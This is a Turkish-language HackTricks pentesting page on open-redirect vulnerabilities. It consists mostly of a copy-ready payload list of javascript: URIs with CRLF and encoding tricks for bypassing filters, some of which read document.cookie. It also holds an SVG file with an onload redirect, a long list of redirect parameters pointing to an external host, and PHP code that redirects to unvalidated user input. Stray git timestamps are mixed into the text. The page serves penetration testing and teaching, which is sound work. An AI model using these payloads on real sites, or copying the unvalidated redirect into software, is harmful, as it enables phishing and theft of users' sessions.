hacktricks/pentesting-web/open-redirect.md

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# Açık Yönlendirme
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<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
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* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini** alın](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
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</details>
## Açık yönlendirme
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### Localhost'a veya keyfi alan adlarına yönlendirme
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{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
### XSS için Açık Yönlendirme
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
## Açık Yönlendirme svg dosyaları yükleme
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```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
## Ortak enjeksiyon parametreleri
```
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
## Kod örnekleri
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#### .Net
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```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
#### Java
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Java dilinde, bir URL'nin yönlendirme hedefini manipüle etmek için `HttpServletResponse` sınıfındaki `sendRedirect` yöntemi kullanılabilir. Örneğin:
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```java
response.sendRedirect("http://www.example.com");
```
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Bu yöntem, kullanıcıyı belirtilen URL'ye yönlendirecektir. Bu durum, kötü niyetli bir saldırganın kullanıcıyı yanıltmak veya kötü amaçlı bir siteye yönlendirmek için kullanılabileceği bir güvenlik açığına yol açabilir.
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```bash
response.redirect("http://mysafedomain.com");
```
#### PHP
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PHP'de, bir URL'nin yönlendirme hedefini belirlemek için `header()` işlevini kullanabilirsiniz. Örneğin:
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```php
<?php
$redirect_url = $_GET['url'];
header("Location: $redirect_url");
?>
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```
Bu kod, kullanıcıdan gelen `url` parametresini alır ve belirtilen URL'ye yönlendirme yapar. Bu, kötü niyetli kullanıcıların kurbanları fark ettirmeden başka sitelere yönlendirmelerine olanak tanır.
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```php
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
```
## Araçlar
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* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
## Kaynaklar
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) adresinde fuzzing listelerini bulabilirsiniz.\\
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
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* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>